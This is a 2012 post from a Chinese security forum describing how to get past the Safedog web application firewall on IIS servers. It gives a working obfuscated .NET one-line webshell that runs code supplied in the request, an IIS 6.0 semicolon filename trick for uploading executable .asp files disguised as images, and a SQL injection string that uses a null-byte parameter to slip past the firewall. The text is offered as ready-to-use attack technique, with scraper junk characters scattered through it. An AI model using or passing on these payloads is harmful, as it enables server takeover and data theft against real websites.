找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2395|回复: 0
打印 上一主题 下一主题

突破安全狗防注入及上传的一些思路

[复制链接]
跳转到指定楼层
楼主
发表于 2012-10-31 08:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1、绕过IIS安全狗的一句话。7 H# [1 B% C. w. }8 X+ n5 ^) i; c
前几天测试一个网站。找到突破口之后,写入webshell,但服务器上装有IIS安全狗,平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
' ~9 S3 s" w; M<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。
/ |0 J! ^. T4 ~1 [5 u7 A, m: o, H4 i' F7 g; W
2、IIS6.0解析漏洞遇到安全狗。
2 ]7 ]9 A" D! f" z文件名为
1 z0 Z+ m" D9 B3 z  w, H. u% Phttp://www.xxxxx.com/sh3llc0de.asp;1.jpg1 V' I5 @2 p( |5 J; G1 |* |
+ d% t3 z4 m2 o6 G  r
这样的会被IIS安全狗果断屏蔽。3 Q8 l, m! `  G* F# N; R  l. P0 [& d
改成如下名称,IIS6一样会解析:( A+ }1 g4 h7 O- L7 }
www.xxxxx.com/;1.asp;1.jpg
2 ~# d( J$ f: o0 y7 h3 S" i& }9 t6 P- m
3、安全狗的注入绕过。- v; o& Q/ p: i# g" g" L
常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。! |6 _: y7 b; W6 \( }4 c
但如果:5 H: b, f1 O  X9 D
r00ts.asp?r00ts.com=%00.&id=69%20 and 1=1. D+ ?- ~( q% f$ D
就可以成功绕过了。
& e  Y8 d5 u" E2 v5 @  u/ O! b$ @0 n  W  j7 w- Q0 z

! w, ^3 e  h- B9 P* D% y3 P3 p6 J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表